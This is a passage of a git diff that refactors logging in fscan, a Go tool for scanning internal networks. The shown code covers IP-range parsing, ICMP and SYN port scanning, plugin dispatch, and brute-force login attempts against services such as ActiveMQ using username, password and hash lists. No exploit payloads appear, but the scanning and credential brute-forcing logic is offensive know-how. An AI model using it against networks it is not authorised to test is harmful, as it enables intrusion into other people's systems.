+163,7 @@ func ParsePass(Info *HostInfo) error { } } Ports = newport.String() - fmt.Printf("[*] 已从文件加载端口配置\n") + LogInfo("从文件加载端口配置") } return nil @@ -174,7 +174,7 @@ func Readfile(filename string) ([]string, error) { // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("[-] 打开文件 %s 失败: %v\n", filename, err) + LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err)) return nil, err } defer file.Close() @@ -195,11 +195,11 @@ func Readfile(filename string) ([]string, error) { // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { - fmt.Printf("[- 读取文件 %s 时出错: %v\n", filename, err) + LogError(fmt.Sprintf("读取文件错误 %s: %v", filename, err)) return nil, err } - fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount) + LogInfo(fmt.Sprintf("读取文件成功 %s: %d 行", filename, lineCount)) return content, nil } @@ -207,25 +207,25 @@ func Readfile(filename string) ([]string, error) { func ParseInput(Info *HostInfo) error { // 检查必要的目标参数 if Info.Host == "" && HostsFile == "" && TargetURL == "" && URLsFile == "" { - fmt.Println("[-] 未指定扫描目标") + LogError("未指定扫描目标") flag.Usage() return fmt.Errorf("必须指定扫描目标") } // 如果是本地扫描模式,输出提示 if LocalScan { - fmt.Println("[*] 已启用本地扫描模式") + LogInfo("已启用本地扫描模式") } // 配置基本参数 if BruteThreads <= 0 { BruteThreads = 1 - fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThreads) + LogInfo(fmt.Sprintf("暴力破解线程数: %d", BruteThreads)) } if DisableSave { IsSave = false - fmt.Println("[*] 已启用临时保存模式") + LogInfo("已启用临时保存模式") } // 处理端口配置 @@ -239,7 +239,7 @@ func ParseInput(Info *HostInfo) error { } else { Ports += "," + AddPorts } - fmt.Printf("[*] 已添加额外端口: %s\n", AddPorts) + LogInfo(fmt.Sprintf("额外端口: %s", AddPorts)) } // 处理用户名配置 @@ -249,7 +249,7 @@ func ParseInput(Info *HostInfo) error { Userdict[dict] = append(Userdict[dict], users...) Userdict[dict] = RemoveDuplicate(Userdict[dict]) } - fmt.Printf("[*] 已添加额外用户名: %s\n", AddUsers) + LogInfo(fmt.Sprintf("额外用户名: %s", AddUsers)) } // 处理密码配置 @@ -257,7 +257,7 @@ func ParseInput(Info *HostInfo) error { passes := strings.Split(AddPasswords, ",") Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) - fmt.Printf("[*] 已添加额外密码: %s\n", AddPasswords) + LogInfo(fmt.Sprintf("额外密码: %s", AddPasswords)) } // 处理Socks5代理配置 @@ -275,7 +275,7 @@ func ParseInput(Info *HostInfo) error { return fmt.Errorf("Socks5代理格式错误: %v", err) } DisablePing = true - fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) + LogInfo(fmt.Sprintf("Socks5代理: %s", Socks5Proxy)) } // 处理HTTP代理配置 @@ -299,7 +299,7 @@ func ParseInput(Info *HostInfo) error { if err != nil { return fmt.Errorf("代理格式错误: %v", err) } - fmt.Printf("[*] 使用代理: %s\n", HttpProxy) + LogInfo(fmt.Sprintf("HTTP代理: %s", HttpProxy)) } // 处理Hash配置 @@ -315,7 +315,7 @@ func ParseInput(Info *HostInfo) error { for _, hash := range HashValues { hashByte, err := hex.DecodeString(hash) if err != nil { - fmt.Printf("[-] Hash解码失败: %s\n", hash) + LogError(fmt.Sprintf("Hash解码失败: %s", hash)) continue } HashBytes = append(HashBytes, hashByte) diff --git a/Common/ParseIP.go b/Common/ParseIP.go index 943201b..f40a23f 100644 --- a/Common/ParseIP.go +++ b/Common/ParseIP.go @@ -23,16 +23,16 @@ var ParseIPErr = errors.New("主机解析错误\n" + "192.168.1.1-192.168.255.255 (IP范围)\n" + "192.168.1.1-255 (最后一位简写范围)") -// ParseIP 解析IP地址配置,支持从主机字符串和文件读取 +// ParseIP 解析IP地址配置 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { - // 处理主机和端口组合的情况 (192.168.0.0/16:80) + // 处理主机和端口组合的情况 if filename == "" && strings.Contains(host, ":") { hostport := strings.Split(host, ":") if len(hostport) == 2 { host = hostport[0] hosts = ParseIPs(host) Ports = hostport[1] - fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports) + LogInfo(fmt.Sprintf("已解析主机端口组合,端口设置为: %s", Ports)) } } else { // 解析主机地址 @@ -42,10 +42,10 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e if filename != "" { fileHosts, err := Readipfile(filename) if err != nil { - fmt.Printf("[-] 读取主机文件失败: %v\n", err) + LogError(fmt.Sprintf("读取主机文件失败: %v", err)) } else { hosts = append(hosts, fileHosts...) - fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) + LogInfo(fmt.Sprintf("从文件加载额外主机: %d 个", len(fileHosts))) } } } @@ -72,13 +72,13 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e } hosts = newHosts sort.Strings(hosts) - fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts)) + LogInfo(fmt.Sprintf("已排除指定主机: %d 个", len(excludeHosts))) } } // 去重处理 hosts = RemoveDuplicate(hosts) - fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts)) + LogInfo(fmt.Sprintf("最终有效主机数量: %d", len(hosts))) // 检查解析结果 if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { @@ -102,40 +102,28 @@ func ParseIPs(ip string) (hosts []string) { return hosts } -// parseIP 解析不同格式的IP地址,返回解析后的IP列表 func parseIP(ip string) []string { reg := regexp.MustCompile(`[a-zA-Z]+`) switch { - // 处理常用内网IP段简写 case ip == "192": return parseIP("192.168.0.0/8") case ip == "172": return parseIP("172.16.0.0/12") case ip == "10": return parseIP("10.0.0.0/8") - - // 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描 case strings.HasSuffix(ip, "/8"): return parseIP8(ip) - - // 处理CIDR格式 (/24 /16 /8等) case strings.Contains(ip, "/"): return parseIP2(ip) - - // 处理域名 - 保留域名格式 case reg.MatchString(ip): return []string{ip} - - // 处理IP范围格式 (192.168.1.1-192.168.1.100) case strings.Contains(ip, "-"): return parseIP1(ip) - - // 处理单个IP地址 default: testIP := net.ParseIP(ip) if testIP == nil { - fmt.Printf("[-] 无效的IP地址格式: %s\n", ip) + LogError(fmt.Sprintf("无效的IP格式: %s", ip)) return nil } return []string{ip} @@ -144,18 +132,15 @@ func parseIP(ip string) []string { // parseIP2 解析CIDR格式的IP地址段 func parseIP2(host string) []string { - // 解析CIDR _, ipNet, err := net.ParseCIDR(host) if err != nil { - fmt.Printf("[-] CIDR格式解析失败: %s, %v\n", host, err) + LogError(fmt.Sprintf("CIDR格式解析失败: %s, %v", host, err)) return nil } - // 转换为IP范围并解析 ipRange := IPRange(ipNet) hosts := parseIP1(ipRange) - - fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange) + LogInfo(fmt.Sprintf("解析CIDR %s -> IP范围 %s", host, ipRange)) return hosts } @@ -169,50 +154,46 @@ func parseIP1(ip string) []string { if len(ipRange[1]) < 4 { endNum, err := strconv.Atoi(ipRange[1]) if testIP == nil || endNum > 255 || err != nil { - fmt.Printf("[-] IP范围格式错误: %s\n", ip) + LogError(fmt.Sprintf("IP范围格式错误: %s", ip)) return nil } - // 解析IP段 splitIP := strings.Split(ipRange[0], ".") startNum, err1 := strconv.Atoi(splitIP[3]) endNum, err2 := strconv.Atoi(ipRange[1]) prefixIP := strings.Join(splitIP[0:3], ".") if startNum > endNum || err1 != nil || err2 != nil { - fmt.Printf("[-] IP范围无效: %d-%d\n", startNum, endNum) + LogError(fmt.Sprintf("IP范围无效: %d-%d", startNum, endNum)) return nil } - // 生成IP列表 for i := startNum; i <= endNum; i++ { allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) } - fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum) + LogInfo(fmt.Sprintf("生成IP范围: %s.%d - %s.%d", prefixIP, startNum, prefixIP, endNum)) } else { - // 处理完整IP范围格式 (192.168.111.1-192.168.112.255) + // 处理完整IP范围格式 splitIP1 := strings.Split(ipRange[0], ".") splitIP2 := strings.Split(ipRange[1], ".") if len(splitIP1) != 4 || len(splitIP2) != 4 { - fmt.Printf("[-] IP格式错误: %s\n", ip) + LogError(fmt.Sprintf("IP格式错误: %s", ip)) return nil } - // 解析起始和结束IP start, end := [4]int{}, [4]int{} for i := 0; i < 4; i++ { ip1, err1 := strconv.Atoi(splitIP1[i]) ip2, err2 := strconv.Atoi(splitIP2[i]) if ip1 > ip2 || err1 != nil || err2 != nil { - fmt.Printf("[-] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) + LogError(fmt.Sprintf("IP范围无效: %s-%s", ipRange[0], ipRange[1])) return nil } start[i], end[i] = ip1, ip2 } - // 将IP转换为数值并生成范围内的所有IP startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] @@ -224,7 +205,7 @@ func parseIP1(ip string) []string { allIP = append(allIP, ip) } - fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1]) + LogInfo(fmt.Sprintf("生成IP范围: %s - %s", ipRange[0], ipRange[1])) } return allIP @@ -232,36 +213,27 @@ func parseIP1(ip string) []string { // IPRange 计算CIDR的起始IP和结束IP func IPRange(c *net.IPNet) string { - // 获取起始IP start := c.IP.String() - - // 获取子网掩码 mask := c.Mask - - // 计算广播地址(结束IP) bcst := make(net.IP, len(c.IP)) copy(bcst, c.IP) - // 通过位运算计算最大IP地址 for i := 0; i < len(mask); i++ { ipIdx := len(bcst) - i - 1 bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] } end := bcst.String() - // 返回"起始IP-结束IP"格式的字符串 result := fmt.Sprintf("%s-%s", start, end) - fmt.Printf("[*] CIDR范围: %s\n", result) - + LogInfo(fmt.Sprintf("CIDR范围: %s", result)) return result } // Readipfile 从文件中按行读取IP地址 func Readipfile(filename string) ([]string, error) { - // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("[-] 打开文件失败 %s: %v\n", filename, err) + LogError(fmt.Sprintf("打开文件失败 %s: %v", filename, err)) return nil, err } defer file.Close() @@ -270,54 +242,47 @@ func Readipfile(filename string) ([]string, error) { scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) - // 逐行处理IP for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line == "" { continue } - // 解析IP:端口格式 text := strings.Split(line, ":") if len(text) == 2 { port := strings.Split(text[1], " ")[0] num, err := strconv.Atoi(port) if err != nil || num < 1 || num > 65535 { - fmt.Printf("[-] 忽略无效端口: %s\n", line) + LogError(fmt.Sprintf("忽略无效端口: %s", line)) continue } - // 解析带端口的IP地址 hosts := ParseIPs(text[0]) for _, host := range hosts { HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) } - fmt.Printf("[*] 已解析IP端口组合: %s\n", line) + LogInfo(fmt.Sprintf("解析IP端口组合: %s", line)) } else { - // 解析纯IP地址 hosts := ParseIPs(line) content = append(content, hosts...) - fmt.Printf("[*] 已解析IP地址: %s\n", line) + LogInfo(fmt.Sprintf("解析IP地址: %s", line)) } } - // 检查扫描过程中是否有错误 if err := scanner.Err(); err != nil { - fmt.Printf("[-] 读取文件时出错: %v\n", err) + LogError(fmt.Sprintf("读取文件错误: %v", err)) return content, err } - fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content)) + LogInfo(fmt.Sprintf("从文件解析完成: %d 个IP地址", len(content))) return content, nil } // RemoveDuplicate 对字符串切片进行去重 func RemoveDuplicate(old []string) []string { - // 使用map存储不重复的元素 temp := make(map[string]struct{}) var result []string - // 遍历并去重 for _, item := range old { if _, exists := temp[item]; !exists { temp[item] = struct{}{} @@ -335,7 +300,7 @@ func parseIP8(ip string) []string { testIP := net.ParseIP(realIP) if testIP == nil { - fmt.Printf("[-] 无效的IP地址格式: %s\n", realIP) + LogError(fmt.Sprintf("无效的IP格式: %s", realIP)) return nil } @@ -343,7 +308,7 @@ func parseIP8(ip string) []string { ipRange := strings.Split(ip, ".")[0] var allIP []string - fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange) + LogInfo(fmt.Sprintf("解析网段: %s.0.0.0/8", ipRange)) // 遍历所有可能的第二、三段 for a := 0; a <= 255; a++ { @@ -364,17 +329,14 @@ func parseIP8(ip string) []string { } } - fmt.Printf("[*] 已生成 %d 个采样IP地址\n", len(allIP)) + LogInfo(fmt.Sprintf("生成采样IP: %d 个", len(allIP))) return allIP } // RandInt 生成指定范围内的随机整数 func RandInt(min, max int) int { - // 参数验证 if min >= max || min == 0 || max == 0 { return max } - - // 生成随机数 return rand.Intn(max-min) + min } diff --git a/Common/ParsePort.go b/Common/ParsePort.go index 770b97b..964f107 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -42,7 +42,7 @@ func ParsePort(ports string) []int { if strings.Contains(port, "-") { ranges := strings.Split(port, "-") if len(ranges) < 2 { - fmt.Printf("[-] 无效的端口范围格式: %s\n", port) + LogError(fmt.Sprintf("端口范围格式错误: %s", port)) continue } @@ -63,7 +63,7 @@ func ParsePort(ports string) []int { end, _ := strconv.Atoi(upper) for i := start; i <= end; i++ { if i > 65535 || i < 1 { - fmt.Printf("[-] 忽略无效端口: %d\n", i) + LogError(fmt.Sprintf("忽略无效端口: %d", i)) continue } scanPorts = append(scanPorts, i) @@ -74,17 +74,15 @@ func ParsePort(ports string) []int { scanPorts = removeDuplicate(scanPorts) sort.Ints(scanPorts) - fmt.Printf("[*] 共解析 %d 个有效端口\n", len(scanPorts)) + LogInfo(fmt.Sprintf("有效端口数量: %d", len(scanPorts))) return scanPorts } // removeDuplicate 对整数切片进行去重 func removeDuplicate(old []int) []int { - // 使用map存储不重复的元素 temp := make(map[int]struct{}) var result []int - // 遍历并去重 for _, item := range old { if _, exists := temp[item]; !exists { temp[item] = struct{}{} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 2868ee5..dae4ada 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -48,7 +48,7 @@ var pluginGroups = map[string][]string{ // ParseScanMode 解析扫描模式 func ParseScanMode(mode string) { - fmt.Printf("[*] 解析扫描模式: %s\n", mode) + LogInfo(fmt.Sprintf("解析扫描模式: %s", mode)) // 检查是否是预设模式 presetModes := []string{ @@ -60,9 +60,9 @@ func ParseScanMode(mode string) { if mode == presetMode { ScanMode = mode if plugins := GetPluginsForMode(mode); plugins != nil { - fmt.Printf("[+] 使用预设模式: %s, 包含插件: %v\n", mode, plugins) + LogInfo(fmt.Sprintf("使用预设模式: %s, 包含插件: %v", mode, plugins)) } else { - fmt.Printf("[+] 使用预设模式: %s\n", mode) + LogInfo(fmt.Sprintf("使用预设模式: %s", mode)) } return } @@ -71,14 +71,14 @@ func ParseScanMode(mode string) { // 检查是否是有效的插件名 if _, exists := PluginManager[mode]; exists { ScanMode = mode - fmt.Printf("[+] 使用单个插件: %s\n", mode) + LogInfo(fmt.Sprintf("使用单个插件: %s", mode)) return } // 默认使用All模式 ScanMode = ModeAll - fmt.Printf("[*] 未识别的模式,使用默认模式: %s\n", ModeAll) - fmt.Printf("[+] 包含插件: %v\n", pluginGroups[ModeAll]) + LogInfo(fmt.Sprintf("未识别的模式,使用默认模式: %s", ModeAll)) + LogInfo(fmt.Sprintf("包含插件: %v", pluginGroups[ModeAll])) } // GetPluginsForMode 获取指定模式下的插件列表 diff --git a/Core/ICMP.go b/Core/ICMP.go index 26bb546..53760a2 100644 --- a/Core/ICMP.go +++ b/Core/ICMP.go @@ -75,7 +75,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { return } - Common.LogError(err) + Common.LogError(fmt.Sprintf("ICMP监听失败: %v", err)) fmt.Println("[-] 正在尝试无监听ICMP探测...") // 尝试无监听ICMP探测 @@ -86,7 +86,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { return } - Common.LogError(err) + Common.LogError(fmt.Sprintf("ICMP连接失败: %v", err)) fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") fmt.Println("[*] 切换为PING方式探测...") @@ -266,7 +266,7 @@ func ExecCommandPing(ip string) bool { return false } } - + var command *exec.Cmd // 根据操作系统选择不同的ping命令 switch runtime.GOOS { diff --git a/Core/PortScan.go b/Core/PortScan.go index f478556..c7cdf2a 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -3,13 +3,11 @@ package Core import ( "encoding/binary" "fmt" - "github.com/Ullaakut/nmap" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcap" "github.com/shadow1ng/fscan/Common" "golang.org/x/net/ipv4" - "log" "net" "runtime" "sort" @@ -25,12 +23,12 @@ type Addr struct { func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string - var mu sync.Mutex // 添加互斥锁保护 AliveAddress + var mu sync.Mutex // 解析端口列表 probePorts := Common.ParsePort(ports) if len(probePorts) == 0 { - fmt.Printf("[-] 端口格式错误: %s, 请检查端口格式\n", ports) + Common.LogError(fmt.Sprintf("端口格式错误: %s", ports)) return AliveAddress } @@ -75,12 +73,11 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { } } - // 按顺序关闭并等待 close(addrs) - workerWg.Wait() // 等待所有扫描worker完成 - wg.Wait() // 等待所有扫描任务完成 - close(results) // 关闭结果通道 - resultWg.Wait() // 等待结果处理完成 + workerWg.Wait() + wg.Wait() + close(results) + resultWg.Wait() return AliveAddress } @@ -111,10 +108,7 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy // 记录开放端口 address := fmt.Sprintf("%s:%d", addr.ip, addr.port) - protocol := "TCP" - result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address) - Common.LogSuccess(result) - + Common.LogSuccess(fmt.Sprintf("端口开放 %s", address)) respondingHosts <- address } @@ -168,30 +162,27 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { sendConn, err := net.ListenPacket("ip4:tcp", "0.0.0.0") if err != nil { - return false, fmt.Errorf("创建发送套接字失败: %v", err) + return false, fmt.Errorf("发送套接字错误: %v", err) } defer sendConn.Close() rawConn, err := ipv4.NewRawConn(sendConn) if err != nil { - return false, fmt.Errorf("获取原始连接失败: %v", err) + return false, fmt.Errorf("原始连接错误: %v", err) } dstIP := net.ParseIP(ip) if dstIP == nil { - return false, fmt.Errorf("无效的IP地址: %s", ip) + return false, fmt.Errorf("IP地址无效: %s", ip) } - // 打开正确的网络接口 handle, err := pcap.OpenLive(ifName, 65536, true, pcap.BlockForever) if err != nil { - // 如果失败,尝试查找可用接口 ifaces, err := pcap.FindAllDevs() if err != nil { - return false, fmt.Errorf("无法找到网络接口: %v", err) + return false, fmt.Errorf("网络接口错误: %v", err) } - // 遍历查找可用接口 var found bool for _, iface := range ifaces { handle, err = pcap.OpenLive(iface.Name, 65536, true, pcap.BlockForever) @@ -202,7 +193,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { } if !found { - return false, fmt.Errorf("无法打开任何网络接口") + return false, fmt.Errorf("未找到可用网络接口") } } defer handle.Close() @@ -210,9 +201,10 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { srcPort := 12345 + port filter := fmt.Sprintf("tcp and src port %d and dst port %d", port, srcPort) if err := handle.SetBPFFilter(filter); err != nil { - return false, fmt.Errorf("设置过滤器失败: %v", err) + return false, fmt.Errorf("过滤器错误: %v", err) } + // TCP头部设置保持不变 tcpHeader := &ipv4.Header{ Version: 4, Len: 20, @@ -222,6 +214,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { Dst: dstIP, } + // SYN包构造保持不变 synPacket := make([]byte, 20) binary.BigEndian.PutUint16(synPacket[0:2], uint16(srcPort)) binary.BigEndian.PutUint16(synPacket[2:4], uint16(port)) @@ -237,7 +230,7 @@ func SynScan(ip string, port int, timeout int64) (bool, error) { binary.BigEndian.PutUint16(synPacket[16:18], checksum) if err := rawConn.WriteTo(tcpHeader, synPacket, nil); err != nil { - return false, fmt.Errorf("发送SYN包失败: %v", err) + return false, fmt.Errorf("SYN包发送错误: %v", err) } packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) @@ -311,43 +304,6 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 { return ^uint16(sum) } -func UDPScan(ip string, port int, timeout int64) (bool, error) { - // 构造端口字符串 - portStr := fmt.Sprintf("%d", port) - - // 配置nmap扫描 - scanner, err := nmap.NewScanner( - nmap.WithTargets(ip), - nmap.WithPorts(portStr), - nmap.WithUDPScan(), - nmap.WithTimingTemplate(nmap.TimingAggressive), - ) - if err != nil { - return false, fmt.Errorf("创建扫描器失败: %v", err) - } - - // 执行扫描 - result, warnings, err := scanner.Run() - if err != nil { - return false, fmt.Errorf("扫描执行失败: %v", err) - } - if warnings != nil { - log.Printf("扫描警告: %v", warnings) - } - - // 检查结果 - for _, host := range result.Hosts { - for _, p := range host.Ports { - if int(p.ID) == port && - (p.State.State == "open" || p.State.State == "open|filtered") { - return true, nil - } - } - } - - return false, nil -} - // 获取系统对应的接口名 func getInterfaceName() string { switch runtime.GOOS { diff --git a/Core/Scanner.go b/Core/Scanner.go index f85a84d..00b8e57 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -7,12 +7,12 @@ import ( "strconv" "strings" "sync" + "sync/atomic" ) // Scan 执行扫描主流程 func Scan(info Common.HostInfo) { - fmt.Println("[*] 开始信息扫描...") - + Common.LogInfo("开始信息扫描") Common.ParseScanMode(Common.ScanMode) ch := make(chan struct{}, Common.ThreadNum) @@ -28,7 +28,7 @@ func Scan(info Common.HostInfo) { // 初始化并解析目标 hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts) if err != nil { - fmt.Printf("[-] 解析主机错误: %v\n", err) + Common.LogError(fmt.Sprintf("解析主机错误: %v", err)) return } lib.Inithttp() @@ -42,50 +42,44 @@ func Scan(info Common.HostInfo) { func executeScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { var targetInfos []Common.HostInfo - // 处理主机和端口扫描 if len(hosts) > 0 || len(Common.HostPort) > 0 { - // ICMP存活性检测 if (Common.DisablePing == false && len(hosts) > 1) || Common.IsICMPScan() { hosts = CheckLive(hosts, Common.UsePing) - fmt.Printf("[+] ICMP存活主机数量: %d\n", len(hosts)) + Common.LogInfo(fmt.Sprintf("存活主机数量: %d", len(hosts))) if Common.IsICMPScan() { return } } - // 获取存活端口 var alivePorts []string if Common.IsWebScan() { alivePorts = NoPortScan(hosts, Common.Ports) } else if len(hosts) > 0 { alivePorts = PortScan(hosts, Common.Ports, Common.Timeout) - fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) + Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) if Common.IsPortScan() { return } } - // 处理自定义端口 if len(Common.HostPort) > 0 { alivePorts = append(alivePorts, Common.HostPort...) alivePorts = Common.RemoveDuplicate(alivePorts) Common.HostPort = nil - fmt.Printf("[+] 存活端口数量: %d\n", len(alivePorts)) + Common.LogInfo(fmt.Sprintf("存活端口数量: %d", len(alivePorts))) } targetInfos = prepareTargetInfos(alivePorts, info) } - // 准备URL扫描目标 for _, url := range Common.URLs { urlInfo := info urlInfo.Url = url targetInfos = append(targetInfos, urlInfo) } - // 执行扫描任务 if len(targetInfos) > 0 { - fmt.Println("[*] 开始漏洞扫描...") + Common.LogInfo("开始漏洞扫描") executeScans(targetInfos, ch, wg) } } @@ -96,7 +90,7 @@ func prepareTargetInfos(alivePorts []string, baseInfo Common.HostInfo) []Common. for _, targetIP := range alivePorts { hostParts := strings.Split(targetIP, ":") if len(hostParts) != 2 { - fmt.Printf("[-] 无效的目标地址格式: %s\n", targetIP) + Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP)) continue } info := baseInfo @@ -112,54 +106,42 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro var pluginsToRun []string isSinglePlugin := false - // 获取要执行的插件列表 if plugins := Common.GetPluginsForMode(mode); plugins != nil { - // 预设模式下使用配置的插件组 pluginsToRun = plugins - fmt.Printf("[*] 正在加载插件组: %s\n", mode) + Common.LogInfo(fmt.Sprintf("加载插件组: %s", mode)) } else { - // 单插件模式 pluginsToRun = []string{mode} isSinglePlugin = true - fmt.Printf("[*] 正在加载单插件: %s\n", mode) + Common.LogInfo(fmt.Sprintf("使用单个插件: %s", mode)) } - // 统一处理所有目标和插件 for _, target := range targets { targetPort, _ := strconv.Atoi(target.Ports) for _, pluginName := range pluginsToRun { - // 获取插件信息 plugin, exists := Common.PluginManager[pluginName] if !exists { - fmt.Printf("[-] 插件 %s 不存在\n", pluginName) + Common.LogError(fmt.Sprintf("插件 %s 不存在", pluginName)) continue } - // 本地扫描模式的特殊处理 if Common.LocalScan { if len(plugin.Ports) == 0 { - fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) } continue } - // 单插件模式直接执行,不检查端口 if isSinglePlugin { - fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) continue } - // 预设模式下的常规处理 if len(plugin.Ports) > 0 { if plugin.HasPort(targetPort) { - fmt.Printf("[+] 载入插件: %s (端口: %d)\n", pluginName, targetPort) AddScan(pluginName, target, ch, wg) } } else { - fmt.Printf("[+] 载入插件: %s\n", pluginName) AddScan(pluginName, target, ch, wg) } } @@ -169,9 +151,11 @@ func executeScans(targets []Common.HostInfo, ch *chan struct{}, wg *sync.WaitGro // finishScan 完成扫描任务 func finishScan(wg *sync.WaitGroup) { wg.Wait() + // 先发送最后的成功消息 + Common.LogSuccess(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num)) + // 等待日志处理完成后再关闭通道 Common.LogWG.Wait() close(Common.Results) - fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num) } // Mutex用于保护共享资源的并发访问 @@ -193,7 +177,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa // 增加总任务数 Mutex.Lock() - Common.Num += 1 + atomic.AddInt64(&Common.Num, 1) Mutex.Unlock() // 执行扫描 @@ -201,7 +185,7 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa // 增加已完成任务数 Mutex.Lock() - Common.End += 1 + atomic.AddInt64(&Common.End, 1) Mutex.Unlock() }() } @@ -210,20 +194,18 @@ func AddScan(plugin string, info Common.HostInfo, ch *chan struct{}, wg *sync.Wa func ScanFunc(name *string, info *Common.HostInfo) { defer func() { if err := recover(); err != nil { - fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) } }() - // 检查插件是否存在 plugin, exists := Common.PluginManager[*name] if !exists { - fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) + Common.LogInfo(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", *name)) return } - // 直接调用扫描函数 if err := plugin.ScanFunc(info); err != nil { - fmt.Printf("[-] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err)) } } diff --git a/Plugins/ActiveMQ.go b/Plugins/ActiveMQ.go index 7110199..0be756f 100644 --- a/Plugins/ActiveMQ.go +++ b/Plugins/ActiveMQ.go @@ -100,7 +100,7 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) { } if err != nil { - errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/Base.go b/Plugins/Base.go index be38f12..20fa91a 100644 --- a/Plugins/Base.go +++ b/Plugins/Base.go @@ -53,7 +53,7 @@ func AesEncrypt(orig string, key string) (string, error) { // 创建加密块,要求密钥长度必须为16/24/32字节 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("[-] 创建加密块失败: %v", err) + return "", fmt.Errorf("创建加密块失败: %v", err) } // 获取块大小并填充数据 @@ -76,7 +76,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // base64解码 cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) if err != nil { - return "", fmt.Errorf("[-] base64解码失败: %v", err) + return "", fmt.Errorf("base64解码失败: %v", err) } keyBytes := []byte(key) @@ -84,7 +84,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 创建解密块 block, err := aes.NewCipher(keyBytes) if err != nil { - return "", fmt.Errorf("[-] 创建解密块失败: %v", err) + return "", fmt.Errorf("创建解密块失败: %v", err) } // 创建CBC解密模式 @@ -98,7 +98,7 @@ func AesDecrypt(crypted string, key string) (string, error) { // 去除填充 origData, err = PKCS7UnPadding(origData) if err != nil { - return "", fmt.Errorf("[-] 去除PKCS7填充失败: %v", err) + return "", fmt.Errorf("去除PKCS7填充失败: %v", err) } return string(origData), nil @@ -115,12 +115,12 @@ func PKCS7Padding(data []byte, blockSize int) []byte { func PKCS7UnPadding(data []byte) ([]byte, error) { length := len(data) if length == 0 { - return nil, errors.New("[-] 数据长度为0") + return nil, errors.New("数据长度为0") } padding := int(data[length-1]) if padding > length { - return nil, errors.New("[-] 填充长度无效") + return nil, 